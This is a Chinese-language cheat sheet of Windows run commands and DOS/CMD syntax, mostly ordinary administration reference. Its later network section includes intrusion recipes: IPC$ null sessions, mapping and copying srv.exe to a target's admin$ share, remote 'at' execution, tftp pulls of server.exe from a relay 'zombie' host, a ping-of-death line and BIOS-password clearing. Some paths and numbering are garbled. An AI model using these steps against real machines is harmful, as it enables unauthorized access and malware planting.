Windows常用的一些CMD運作指令

CMD指令：開始－>運作－>鍵入cmd或command（在指令行裡可以看到系統版本、檔案系統版本
appwiz.cpl：程式和功能
calc：啟動電腦
certmgr.msc：證書管理實用程式
charmap：啟動字元映射表
chkdsk.exe：Chkdsk磁盤檢查（管理者身份運作指令提示符）
cleanmgr: 打開磁盤清理工具
cliconfg：SQL SERVER 用戶端網絡實用工具
cmstp：連接配接管理器配置檔案安裝程式
cmd.exe：CMD指令提示符
自動關機指令
Shutdown -s -t 600：表示600秒後自動關機
shutdown -a ：可取消定時關機
Shutdown -r -t 600：表示600秒後自動重新開機
rundll32 user32.dll,LockWorkStation：表示鎖定計算機
colorcpl：顔色管理，配置顯示器和列印機等中的色彩
CompMgmtLauncher：計算機管理
compmgmt.msc：計算機管理
credwiz：備份或還原儲存的使用者名和密碼
comexp.msc：打開系統元件服務
control：控制面版
dcomcnfg：打開系統元件服務
Dccw：顯示顔色校準
devmgmt.msc：裝置管理器
desk.cpl：螢幕分辨率
dfrgui：優化驅動器 Windows 7→dfrg.msc：磁盤碎片整理程式
dialer：電話撥号程式
diskmgmt.msc：磁盤管理
dvdplay：DVD播放器
dxdiag：檢查DirectX資訊
eudcedit：造字程式
eventvwr：事件檢視器
explorer：打開資料總管
Firewall.cpl：Windows防火牆
FXSCOVER：傳真封面編輯器
fsmgmt.msc：共享檔案夾管理器
gpedit.msc：組政策
hdwwiz.cpl：裝置管理器
inetcpl.cpl：Internet屬性
intl.cpl：區域
iexpress：木馬捆綁工具，系統自帶
joy.cpl：遊戲控制器
logoff：登出指令
lusrmgr.msc：本地使用者群組
lpksetup：語言包安裝/删除向導，安裝向導會提示下載下傳語言包
lusrmgr.msc：本機使用者群組
main.cpl：滑鼠屬性
mmsys.cpl：聲音
magnify：放大鏡實用程式
mem.exe：顯示記憶體使用情況（如果直接運作無效，可以先管理者身份運作指令提示符，在指令提示符裡輸入mem.exe>d:a.txt 即可打開d盤檢視a.txt，裡面的就是記憶體使用情況了。當然什麼盤什麼檔案名可自己決定。）
MdSched:Windows記憶體診斷程式
mmc：打開控制台
mobsync：同步指令
mplayer2：簡易widnows media player
Msconfig.exe：系統配置實用程式
msdt：微軟支援診斷工具
msinfo32：系統資訊
mspaint：畫圖
Msra：Windows遠端協助
mstsc：遠端桌面連接配接
NAPCLCFG.MSC：用戶端配置
ncpa.cpl：網絡連接配接
narrator：螢幕“講述人”
Netplwiz：進階使用者帳戶控制台，設定登陸安全相關的選項
netstat : an(TC)指令檢查接口
notepad：打開記事本
Nslookup：IP位址偵測器
odbcad32：ODBC資料源管理器
OptionalFeatures：打開“打開或關閉Windows功能”對話框
osk：打開螢幕鍵盤
perfmon.msc：計算機性能監測器
perfmon：計算機性能監測器
PowerShell：提供強大遠端處理能力
printmanagement.msc：列印管理
powercfg.cpl：電源選項
psr：問題步驟記錄器
Rasphone：網絡連接配接
Recdisc：建立系統修複CD光牒
Resmon：資源螢幕
Rstrui：系統還原
regedit.exe：系統資料庫
regedt32：系統資料庫編輯器
rsop.msc：組政策結果集
sdclt：備份狀态與配置，就是檢視系統是否已備份
secpol.msc：本地安全政策
services.msc：本地服務設定
sfc /scannow：掃描錯誤并複原/windows檔案保護
sfc.exe：系統檔案檢查器
shrpubw：建立共享檔案夾
sigverif：檔案簽名驗證程式
slui：Windows激活，檢視系統激活資訊
slmgr.vbs -dlv ：顯示詳細的許可證資訊
slmgr.vbs -dli ：顯示許可證資訊
slmgr.vbs -xpr ：目前許可證截止日期
slmgr.vbs -dti ：顯示安裝ID 以進行脫機激
slmgr.vbs -ipk ：(Product Key)安裝産品密鑰
slmgr.vbs -ato ：激活Windows
slmgr.vbs -cpky ：從系統資料庫中清除産品密鑰（防止洩露引起的攻擊）
slmgr.vbs -ilc ：(License file)安裝許可證
slmgr.vbs -upk ：解除安裝産品密鑰
slmgr.vbs -skms ：(name[ort] )批量授權
snippingtool：截圖工具，支援無規則截圖
soundrecorder：錄音機，沒有錄音時間的限制
StikyNot：便箋
sysdm.cpl：系統屬性
sysedit：系統配置編輯器
syskey：系統加密，一旦加密就不能解開，保護系統的雙重密碼
taskmgr：任務管理器（舊版）
TM任務管理器（新版）
taskschd.msc：任務計劃程式
timedate.cpl：日期和時間
UserAccountControlSettings使用者賬戶控制設定
utilman：輔助工具管理器
wf.msc：進階安全Windows防火牆
WFS：Windows傳真和掃描
wiaacmgr：掃描器和照相機向導
winver：關于Windows
wmimgmt.msc：打開windows管理體系結構(WMI)
write：寫字闆
wscui.cpl：操作中心
wscript：windows腳本宿主設定
wuapp：Windows更新1. gpedit.msc—–組政策2. sndrec32——-錄音機3. Nslookup——-IP位址偵測器 ，是一個 監測網絡中 DNS 伺服器是否能正确實作域名解析的指令行工具。 它在 Windows NT/2000/XP 中均可使用 , 但在 Windows 98 中卻沒有內建這一個工具。4. explorer——-打開資料總管5. logoff———登出指令6. shutdown——-60秒倒計時關機指令7. lusrmgr.msc—-本機使用者群組
8. services.msc—本地服務設定

9. oobe/msoobe /a—-檢查XP是否激活

10. notepad——–打開記事本

11. cleanmgr——-垃圾整理

12. net start messenger—-開始信差服務

13. compmgmt.msc—計算機管理

14. net stop messenger—–停止信差服務

15. conf———–啟動netmeeting

16. dvdplay——–DVD播放器

17. charmap——–啟動字元映射表

18. diskmgmt.msc—磁盤管理實用程式

19. calc———–啟動電腦

20. dfrg.msc——-磁盤碎片整理程式

21. chkdsk.exe—–Chkdsk磁盤檢查

22. devmgmt.msc— 裝置管理器

23. regsvr32 /u *.dll—-停止dll檔案運作

24. drwtsn32—— 系統醫生

25. rononce -p—-15秒關機

26. dxdiag———檢查DirectX資訊

27. regedt32——-系統資料庫編輯器

28. Msconfig.exe—系統配置實用程式

29. rsop.msc——-組政策結果集

30. mem.exe——–顯示記憶體使用情況

31. regedit.exe—-系統資料庫

32. winchat——–XP自帶區域網路聊天

33. progman——–程式管理器

34. winmsd———系統資訊

35. perfmon.msc—-計算機性能監測程式

36. winver———檢查Windows版本

37. sfc /scannow—–掃描錯誤并複原

38. taskmgr—–任務管理器（2000/xp/2003

39. winver———檢查Windows版本

40. wmimgmt.msc—-打開windows管理體系結構(WMI)

41. wupdmgr——–windows更新程式

42. wscript——–windows腳本宿主設定

43. write———-寫字闆

44. winmsd———系統資訊

45. wiaacmgr——-掃描器和照相機向導

46. winchat——–XP自帶區域網路聊天

47. mem.exe——–顯示記憶體使用情況

48. Msconfig.exe—系統配置實用程式

49. mplayer2——-簡易widnows media player

50. mspaint——–畫圖闆

51. mstsc———-遠端桌面連接配接

52. mplayer2——-媒體播放機

53. magnify——–放大鏡實用程式

54. mmc————打開控制台

55. mobsync——–同步指令

56. dxdiag———檢查DirectX資訊

57. iexpress——-木馬捆綁工具，系統自帶 58. fsmgmt.msc—–共享檔案夾管理器

59. utilman——–輔助工具管理器

60. diskmgmt.msc—磁盤管理實用程式

61. dcomcnfg——-打開系統元件服務

62. ddeshare——-打開DDE共享設定

110. osk————打開螢幕鍵盤

111. odbcad32——-ODBC資料源管理器

112. oobe/msoobe /a—-檢查XP是否激活 114. logoff———登出指令

66. notepad——–打開記事本

67. nslookup——-網絡管理的工具向導

68. ntbackup——-系統備份和還原

69. narrator——-螢幕“講述人”

70. ntmsmgr.msc—-移動存儲管理器

71. ntmsoprq.msc—移動存儲管理者操作請求

72. netstat -an—-(TC)指令檢查接口

73. syncapp——–建立一個公文包

74. sysedit——–系統配置編輯器

75. sigverif——-檔案簽名驗證程式

76. ciadv.msc——索引服務程式

77. shrpubw——–建立共享檔案夾

78. secpol.msc—–本地安全政策

79. syskey———系統加密，一旦加密就不能解開，保護windows xp系統的雙重密碼

80. services.msc—本地服務設定

81. Sndvol32——-音量控制程式

82. sfc.exe——–系統檔案檢查器

83. sfc /scannow—windows檔案保護

84. ciadv.msc——索引服務程式

85. tourstart——xp簡介（安裝完成後出現的漫遊xp程式）

86. taskmgr——–任務管理器

87. eventvwr——-事件檢視器

88. eudcedit——-造字程式

89. compmgmt.msc—計算機管理

90. packager——-對象包裝程式

91. perfmon.msc—-計算機性能監測程式

92. charmap——–啟動字元映射表

93. cliconfg——-SQL SERVER 用戶端網絡實用程式

94. Clipbrd——–剪貼闆檢視器

95. conf———–啟動netmeeting

96. certmgr.msc—-證書管理實用程式

97. regsvr32 /u *.dll—-停止dll檔案運作

98. regsvr32 /u zipfldr.dll——取消ZIP支援

99. cmd.exe——–CMD指令提示符

100. chkdsk.exe—–Chkdsk磁盤檢查

1.磁盤操作，
fdisk 隐含 參數 /mbr 重建主引導記錄fdisk /mbr 重建主引導記錄
fdisk 在DOS7.0以後增加了/cmbr參數，可在挂接多個實體硬碟時，重建排序在後面的硬碟的主引導記錄，例如：fdisk /cmbr 2，可重寫第二個硬碟的主引導記錄。（在使用時要十分小心，避免把好的硬碟引導記錄損壞）
format 參數： /q 快速格式化 /u 不可恢複 /autotest 不提示 /s 建立 MS-DOS 引導盤 format c: /q /u /autotest
2.目錄操作
DIR [目錄名或檔案名] [/S][/W][/P][/A] 列出目錄 參數: /s 查找子目錄/w 隻顯示檔案名 /p 分頁/a 顯示隐藏檔案 DIR format.exe /s查找該盤的format.exe檔案并報告位置
MD (MKDIR) [目錄名] 建立目錄 MKDIR HELLOWORLD 建立HELLOWORLD目錄
CD (CHDIR) [目錄名] PS:可以使用相對目錄或絕對目錄 進入目錄 CD AA 進入目前檔案夾下的AA目錄,cd .. 進入上一個檔案夾cd \傳回根目錄;cd c:\windows 進入c:\windows檔案夾
RD ( RMDIR) [目錄名] 删除目錄 RD HELLOWORLD 删除HELLOWORLD目錄
3.檔案操作
删除目錄及其檔案： rmdir [目錄名或檔案名] [/S][/W][/P][/A] 。例 rmdir c:\qqdownload/s 删除C槽的qqdownload目錄。
del [目錄名或檔案名] [/f][/s][/q] 删除 參數:/f 删除隻讀檔案/s 删除該目錄及其下的所有内容 /q 删除前不确認
del c:\del /s /q 自動删除c盤的del目錄。
copy [源檔案或目錄] [目标目錄] 複制檔案 copy d:\pwin98*.* c:\presetup 将d盤的pwin98的所有檔案複制到c盤的presetup下。
attrib [參數][源檔案或目錄] 檔案屬性操作指令，attrib指令可以列出或修改磁盤上檔案的屬性，檔案屬性包括文檔（A）、隻讀(R)、隐藏(H)、系統(S)，例如：attrib -h -r -s io.sys 執行這一指令後，将把DOS系統檔案io.sys檔案的隻讀、隐藏、系統屬性去掉，這時将可以直接通過dir指令看到io.sys檔案。attrib +h +r +s autoexec.bat将為自動批處理檔案增加以上屬性。
4.記憶體操作
debug 調試記憶體 參數 -w [檔案名] 寫入二進制檔案 -o [位址1] [位址2] 輸出記憶體 -q 退出 exp:o 70 10[return] o 71 01
[return] 01[return] q[return] DOS下通過寫70h/71h PORT改變BIOS密碼在CMOS中存放的對應位置的值,用以清除AWARD BIOS密碼.debug 還可以破解硬碟保護卡等,但隻可以在純DOS下用。
5.分區操作
給磁盤分區，一般都會分成四個區，磁盤分區由主分區、擴充分區、邏輯分區組成。
PQ和Acronis Disk Director這兩個工具都可以在不丢失資料的情況下對分區進行調整大小，以及合并等操作，XP系統的話你用PQ，WIN7系統的話用Acronis Disk Director 操作基本一樣，可以去網上找教程來看看，再不重裝系統的情況下都能調整分區大小，但是建議你還是先備份下資料再調整，畢竟對硬碟直接進行的操作有一定的危險性。

net use ipipc$ ” ” /user:” ” 建立IPC空連結

net use ipipc$ “密碼” /user:”使用者名” 建立IPC非空連結

net use h: ipc$ “密碼” /user:”使用者名” 直接登陸後映射對方C：到本地為H:

net use h: ipc$ 登陸後映射對方C：到本地為H:

net use ipipc$ /del 删除IPC連結

net use h: /del 删除映射對方到本地的為H:的映射

net user 使用者名　密碼　/add 建立使用者

net user guest /active:yes 激活guest使用者

net user 檢視有哪些使用者

net user 帳戶名 檢視帳戶的屬性

net localgroup administrators 使用者名 /add 把“使用者”添加到管理者中使其具有管理者權限

net start 檢視開啟了哪些服務

net start 服務名　開啟服務；(如:net start telnet， net start schedule)

net stop 服務名 停止某服務

net time 目标ip 檢視對方時間

net time 目标ip /set 設定本地計算機時間與“目标IP”主機的時間同步,加上參數/yes可取消确認資訊

net view 檢視本地區域網路内開啟了哪些共享

net view ip 檢視對方區域網路内開啟了哪些共享

net config 顯示系統網絡設定

net logoff 斷開連接配接的共享

net pause 服務名 暫停某服務

net send ip “文本資訊” 向對方發資訊

net ver 區域網路内正在使用的網絡連接配接類型和資訊

net share 檢視本地開啟的共享

net share ipc開啟ipc開啟ipc共享

net share ipc/del删除ipc/del删除ipc共享

net share c$ /del 删除C：共享

net user guest 12345 用guest使用者登陸後用将密碼改為12345

net password 密碼 更改系統登陸密碼

netstat -a 檢視開啟了哪些端口,常用netstat -an

netstat -n 檢視端口的網絡連接配接情況，常用netstat -an

netstat -v 檢視正在進行的工作

netstat -p 協定名 例：netstat -p tcq/ip 檢視某協定使用情況

netstat -s 檢視正在使用的所有協定使用情況

nbtstat -A ip 對方136到139其中一個端口開了的話，就可檢視對方最近登陸的使用者名

tracert -參數 ip(或計算機名) 跟蹤路由（資料包），參數：“-w數字”用于設定逾時間隔。

ping ip(或域名) 向對方主機發送預設大小為32位元組的資料，參數：“-l[空格]資料包大小”；“-n發送資料次數”；“-t”指一直ping。

ping -t -l 65550 ip 死亡之ping(發送大于64K的檔案并一直ping就成了死亡之ping)

ipconfig (winipcfg) 用于windows NT及XP(windows 95 98)檢視本地ip位址，ipconfig可用參數“/all”顯示全部配置資訊

tlist -t 以樹行清單顯示程序(為系統的附加工具，預設是沒有安裝的，在安裝目錄的Support/tools檔案夾内)

kill -F 程序名 加-F參數後強制結束某程序(為系統的附加工具，預設是沒有安裝的，在安裝目錄的Support/tools檔案夾内)

del -F 檔案名 加-F參數後就可删除隻讀檔案,/AR、/AH、/AS、/AA分别表示删除隻讀、隐藏、系統、存檔檔案，/A-R、/A-H、/A-S、/A-A表示删除除隻讀、隐藏、系統、存檔以外的檔案。例如“DEL/AR .”表示删除目前目錄下所有隻讀檔案，“DEL/A-S .”表示删除目前目錄下除系統檔案以外的所有檔案

del /S /Q 目錄 或用：rmdir /s /Q 目錄 /S删除目錄及目錄下的所有子目錄和檔案。同時使用參數/Q 可取消删除操作時的系統确認就直接删除。（二個指令作用相同）

move 盤符路徑要移動的檔案名　存放移動檔案的路徑移動後檔案名 移動檔案,用參數/y将取消确認移動目錄存在相同檔案的提示就直接覆寫

fc one.txt two.txt > 3st.txt 對比二個檔案并把不同之處輸出到3st.txt檔案中，”> “和”> >” 是重定向指令

at id号 開啟已注冊的某個計劃任務

at /delete 停止所有計劃任務，用參數/yes則不需要确認就直接停止

at id号 /delete 停止某個已注冊的計劃任務

at 檢視所有的計劃任務

at ip time 程式名(或一個指令) /r 在某時間運作對方某程式并重新啟動計算機

finger username @host 檢視最近有哪些使用者登陸

telnet ip 端口 遠和登陸伺服器,預設端口為23

open ip 連接配接到IP（屬telnet登陸後的指令）

telnet 在本機上直接鍵入telnet 将進入本機的telnet

copy 路徑檔案名1　路徑檔案名2 /y 複制檔案1到指定的目錄為檔案2，用參數/y就同時取消确認你要改寫一份現存目錄檔案

copy c:srv.exe ipadmin$ 複制本地c:srv.exe到對方的admin下

copy 1st.jpg/b+2st.txt/a 3st.jpg 将2st.txt的内容藏身到1st.jpg中生成3st.jpg新的檔案，注：2st.txt檔案頭要空三排，參數：/b指二進制檔案，/a指ASCLL格式檔案

copy ipadminsvv.exec:或:copyipadminsvv.exec:或:copyipadmin. 複制對方admini$共享下的srv.exe檔案（所有檔案）至本地C：

xcopy 要複制的檔案或目錄樹　目标位址目錄名 複制檔案和目錄樹，用參數/Y将不提示覆寫相同檔案

用參數/e才可連目錄下的子目錄一起複制到目标位址下。

tftp -i 自己IP(用肉機作跳闆時這用肉機IP) get server.exec:server.exe 登陸後，将“IP”的server.exe下載下傳到目标主機c:server.exe 參數：-i指以二進制模式傳送，如傳送exe檔案時用，如不加-i 則以ASCII模式（傳送文本檔案模式）進行傳送

tftp -i 對方IP　put c:server.exe 登陸後，上傳本地c:server.exe至主機

ftp ip 端口 用于上傳檔案至伺服器或進行檔案操作，預設端口為21。bin指用二進制方式傳送（可執行檔案進）；預設為ASCII格式傳送(文本檔案時)

route print 顯示出IP路由，将主要顯示網絡位址Network addres，子網路遮罩Netmask，網關位址Gateway addres，接口位址Interface

arp 檢視和處理ARP緩存，ARP是名字解析的意思，負責把一個IP解析成一個實體性的MAC位址。arp -a将顯示出全部資訊

start 程式名或指令 /max 或/min 新開一個新視窗并最大化（最小化）運作某程式或指令

mem 檢視cpu使用情況

attrib 檔案名(目錄名) 檢視某檔案（目錄）的屬性

attrib 檔案名 -A -R -S -H 或 +A +R +S +H 去掉(添加)某檔案的 存檔，隻讀，系統，隐藏 屬性；用+則是添加為某屬性

dir 檢視檔案，參數：/Q顯示檔案及目錄屬系統哪個使用者，/T:C顯示檔案建立時間，/T:A顯示檔案上次被通路時間，/T:W上次被修改時間

date /t 、 time /t 使用此參數即“DATE/T”、“TIME/T”将隻顯示目前日期和時間，而不必輸入新日期和時間

set 指定環境變量名稱=要指派給變量的字元 設定環境變量

set 顯示目前所有的環境變量

set p(或其它字元) 顯示出目前以字元p(或其它字元)開頭的所有環境變量

pause 暫停批處理程式，并顯示出：請按任意鍵繼續….

if 在批處理程式中執行條件處理（更多說明見if指令及變量）

goto 标簽 将cmd.exe導向到批處理程式中帶标簽的行（标簽必須單獨一行，且以冒号打頭，例如：“：start”标簽）

call 路徑批處理檔案名 從批處理程式中調用另一個批處理程式 （更多說明見call /?）

for 對一組檔案中的每一個檔案執行某個特定指令（更多說明見for指令及變量）

echo on或off 打開或關閉echo，僅用echo不加參數則顯示目前echo設定

echo 資訊 在螢幕上顯示出資訊

echo 資訊 >> pass.txt 将”資訊”儲存到pass.txt檔案中

findstr “Hello” aa.txt 在aa.txt檔案中尋找字元串hello

find 檔案名 查找某檔案

title 标題名字 更改CMD視窗标題名字

color 顔色值 設定cmd控制台前景和背景顔色；0=黑、1=藍、2=綠、3=淺綠、4=紅、5=紫、6=黃、7=白、8=灰、9=淡藍、A=淡綠、B=淡淺綠、C=淡紅、D=淡紫、E=淡黃、F=亮白

prompt 名稱 更改cmd.exe的顯示的指令提示符(把C:、D:統一改為：EntSky )

ver 在DOS視窗下顯示版本資訊

winver 彈出一個視窗顯示版本資訊（記憶體大小、系統版本、更新檔版本、計算機名）

format 盤符 /FS:類型 格式化磁盤,類型:FAT、FAT32、NTFS ,例：Format D: /FS:NTFS

md　目錄名 建立目錄

replace 源檔案　要替換檔案的目錄 替換檔案

ren 原檔案名　新檔案名 重命名檔案名

tree 以樹形結構顯示出目錄，用參數-f 将列出第個檔案夾中檔案名稱

type 檔案名 顯示文本檔案的内容

more 檔案名 逐屏顯示輸出檔案

doskey 要鎖定的指令=字元

doskey 要解鎖指令= 為DOS提供的鎖定指令(編輯指令行，重新調用win2k指令，并建立宏)。如：鎖定dir指令：doskey dir=entsky (不能用doskey dir=dir)；解鎖：doskey dir=

taskmgr 調出任務管理器

chkdsk /F D: 檢查磁盤D并顯示狀态報告；加參數/f并修複磁盤上的錯誤

tlntadmn telnt服務admn,鍵入tlntadmn選擇3，再選擇8,就可以更改telnet服務預設端口23為其它任何端口

exit 退出cmd.exe程式或目前，用參數/B則是退出目前批處理腳本而不是cmd.exe

path 路徑可執行檔案的檔案名 為可執行檔案設定一個路徑。

cmd 啟動一個win2K指令解釋視窗。參數：/eff、/en 關閉、開啟指令擴充；更我詳細說明見cmd /?

regedit /s 系統資料庫檔案名 導入系統資料庫；參數/S指安靜模式導入，無任何提示；

regedit /e 系統資料庫檔案名 導出系統資料庫

cacls 檔案名　參數 顯示或修改檔案通路控制清單（ACL）——針對NTFS格式時。參數：/D 使用者名:設定拒絕某使用者通路；/P 使用者名:perm 替換指定使用者的通路權限；/G 使用者名:perm 賦予指定使用者通路權限；Perm 可以是: N 無，R 讀取， W 寫入， C 更改(寫入)，F 完全控制；例：cacls D: est.txt /D pub 設定d: est.txt拒絕pub使用者通路。

cacls 檔案名 檢視檔案的通路使用者權限清單

REM 文本内容 在批處理檔案中添加注解

netsh 檢視或更改本地網絡配置情況